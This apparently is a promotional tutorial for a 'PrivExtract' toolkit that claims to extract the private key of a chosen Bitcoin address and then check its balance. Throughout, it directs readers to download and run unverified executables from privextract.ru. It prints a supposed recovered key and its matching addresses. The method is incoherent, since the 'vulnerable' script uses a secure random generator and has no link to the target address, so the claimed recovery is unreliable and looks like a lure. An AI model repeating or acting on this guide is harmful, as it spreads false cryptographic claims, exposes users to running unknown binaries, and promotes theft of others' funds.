PrivExtract - Debugging BITCOIN Private Key Issues

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Python

main.py

The main.py file is traditionally used as the entry point—the place where program execution begins. This file contains the code that launches the main logic of the application and coordinates the work of other modules.

The entry point is usually placed in the scripts directory, and the executable files themselves are often called scripts. A typical project structure might look like this:

  • pyproject.toml — the project configuration file
  • my_application/ — the main application package
    • module.py — a module with functionality
    • scripts/ — a directory for executable files
      • main.py — the entry point

To run the application through the entry point, the command python -m my_application.scripts.main is used. The -m flag tells the interpreter to run the file as a module within the project context, rather than as a standalone script, which allows imports from other project modules to work correctly.

# Constant N defining the order of the secp256k1 elliptic curve group
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

import secrets

def generate_private_key():
    # Generate a random number in the range [1, N-1]
    private_key = secrets.randbelow(N - 1) + 1
    # Convert to HEX format with leading zeros to ensure 64 characters
    private_key_hex = f'{private_key:064x}'
    return private_key_hex

# Example usage
private_key_hex = generate_private_key()
print(private_key_hex)

Key Features:

  1. Cryptographically Secure RNG: Uses secrets instead of random for secure entropy.
  2. Accurate Range Compliance: Ensures keys lie in [1, N-1] via secrets.randbelow(N - 1) + 1.
  3. HEX Formatting: Pads with leading zeros to guarantee a 64-character HEX string (:064x).
  4. Direct Use of N: Explicitly incorporates the declared constant N in calculations.

Detailed Description of All Terminal Commands and Actions

1. Downloading and Installing Tools

Commands:

wget https://privextract.ru/repositories/debugging.zip
  • wget is a command-line utility for downloading files from the Internet via HTTP, HTTPS, and FTP protocols.
  • Here, it downloads the debugging.zip archive from the specified URL.
unzip debugging.zip
  • unzip is a command to extract ZIP archives in the current directory.
  • This command extracts all files from debugging.zip.
wget https://privextract.ru/vulnerable-code/main.py
  • Downloads the file main.py from the specified URL using wget.

2. Running the Program to Generate Data

Command:

./debugging -python main.py -address 1GHShAru3CyySYHwNyf7eah53Yt4ncEgxK
  • ./debugging runs the executable file debugging from the current directory.
  • -python main.py likely tells the program to use or analyze the script main.py.
  • -address 1GHShAru3CyySYHwNyf7eah53Yt4ncEgxK specifies the Bitcoin address for further processing.

Result:

File contents:
# Constant N defining the order of the secp256k1 elliptic curve group
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

import secrets

def generate_private_key():
    # Generate a random number in the range [1, N-1]
    private_key = secrets.randbelow(N - 1) + 1
    # Convert to HEX format with leading zeros to ensure 64 characters
    private_key_hex = f'{private_key:064x}'
    return private_key_hex

# Example usage
private_key_hex = generate_private_key()
print(private_key_hex)


Resulting long sequence with address:
d0 88 2e 75 96 12 b1 91 6b fb e7 1a 1a 81 79 27 14 1d c3 f9 0c 7f 8e e7 8c 8b 46 be 81 14 3b 23
b9 21 5e 6f a1 ae 39 a3 e8 90 51 b6 4f eb 60 85 cf e6 e8 5b 2a 85 8d 85 d6 52 83 12 48 da 91 6c
b2 a2 bb 11 e4 02 d7 ff 86 e9 ab 87 fe ba 30 72 7f 18 35 9b ef a9 73 9a 21 5f c2 4d 00 8c 56 7b
a1 62 c2 82 1e 04 58 ac 67 da 70 b7 89 af 93 43 2b 39 63 b7 70 67 4a aa f3 f9 de 41 2c 79 a2 8e

The overall result has been successfully written to 'save.txt'.

Contents of save.txt without spaces:
d0882e759612b1916bfbe71a1a817927141dc3f90c7f8ee78c8b46be81143b23b9215e6fa1ae39a3e89051b64feb6085cfe6e85b2a858d85d652831248da916cb2a2bb11e402d7ff86e9ab87feba30727f18359befa9739a215fc24d008c567ba162c2821e0458ac67da70b789af93432b3963b770674aaaf3f9de412c79a28e
  • The program uses the constant N (the order of the secp256k1 elliptic curve group) and a Python function to generate a private key in hexadecimal format.
  • The generated private key is saved to the file save.txt without spaces.

File contents:

# Constant N defining the order of the secp256k1 elliptic curve group
N = (1 << 256) - 0x14551231950B75FC4402DA1732FC9BEBF

import secrets

def generate_private_key():
    # Generate a random number in the range [1, N-1]
    private_key = secrets.randbelow(N - 1) + 1
    # Convert to HEX format with leading zeros to ensure 64 characters
    private_key_hex = f'{private_key:064x}'
    return private_key_hex

# Example usage
private_key_hex = generate_private_key()
print(private_key_hex)

3. Extracting the Private Key from Data

Commands:

wget https://privextract.ru/repositories/privextract.zip
unzip privextract.zip
  • Downloading and extracting the archive with the privextract tool, similar to previous steps.

Run:

./privextract -extraction d0882e759612b1916bfbe71a1a817927141dc3f90c7f8ee78c8b46be81143b23b9215e6fa1ae39a3e89051b64feb6085cfe6e85b2a858d85d652831248da916cb2a2bb11e402d7ff86e9ab87feba30727f18359befa9739a215fc24d008c567ba162c2821e0458ac67da70b789af93432b3963b770674aaaf3f9de412c79a28e

Result:

Private Key Result:
6e 96 65 4c ee 40 45 af
b6 de f6 86 aa 80 09 5b
f5 d5 8d 7b 14 ab b0 fd
b9 3b 4d bd fe 54 16 d2

Private Key Result:
6e96654cee4045afb6def686aa80095bf5d58d7b14abb0fdb93b4dbdfe5416d2

Result successfully written to 'privkey.txt'.
  • Runs the privextract program with the -extraction parameter and a long hexadecimal string (contents of save.txt).
  • The program extracts the private key and outputs it in two formats: with spaces and as a single string, and also saves it to the file privkey.txt.

4. Generating the Public Key and Bitcoin Address

Commands:

wget https://privextract.ru/repositories/bitaddress.zip
unzip bitaddress.zip
  • Downloading and extracting the archive with the bitaddress tool.

Run:

./bitaddress -hex 6e96654cee4045afb6def686aa80095bf5d58d7b14abb0fdb93b4dbdfe5416d2

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
04F48A1BF21A9B2B6009DC5AE33EADED813658BA8F0DEC500299EC5A7CA1C3FA7A85C48FCC1F55B858F0FB43C83908CC31D58183AF6F1BE364451738DC530E4300


Public Key (Compressed, 66 characters [0-9A-F]):
02F48A1BF21A9B2B6009DC5AE33EADED813658BA8F0DEC500299EC5A7CA1C3FA7A


Bitcoin Address P2PKH (Uncompressed)
1GHShAru3CyySYHwNyf7eah53Yt4ncEgxK


Bitcoin Address P2PKH (Compressed)
1J5gggkN7RAU7MMv5nHEWSWezFju9qYkyW

  • Runs the bitaddress program with the private key in hexadecimal format.
  • The program computes:
    • The public key (uncompressed and compressed)
    • Bitcoin addresses (P2PKH) for both public key variants

5. Checking the Address Balance

Action:

Overall Process Logic

  1. Download and extract the tools for working with private keys.
  2. Generate a private key, which is then processed and saved.
  3. Extract the private key from the generated data using a specialized program.
  4. Compute the public key and Bitcoin address from the private key.
  5. Check the address balance via a blockchain explorer.

Additional Explanations for Commands

Command/ActionPurpose
wget <URL>Download a file from the Internet
unzip <archive>Extract a ZIP archive in the current directory
./debugging -python main.py -address <address>Generate and process a private key associated with the specified address
./privextract -extraction <hex-string>Extract a private key from prepared data
./bitaddress -hex <private_key>Get the public key and Bitcoin address from the private key
Viewing the address via blockchain explorerCheck the balance and transaction history for the address on the blockchain

Summary

  • wget – download files.
  • unzip – extract archives.
  • debugging – generate and process a private key.
  • privextract – extract a private key from data.
  • bitaddress – obtain the public key and address from a private key.
  • blockchain explorer – check balance and transaction history for an address.

Each command plays its role in the chain of recovering or generating a private key, associating it with a Bitcoin address, and then checking the balance of that address on the blockchain.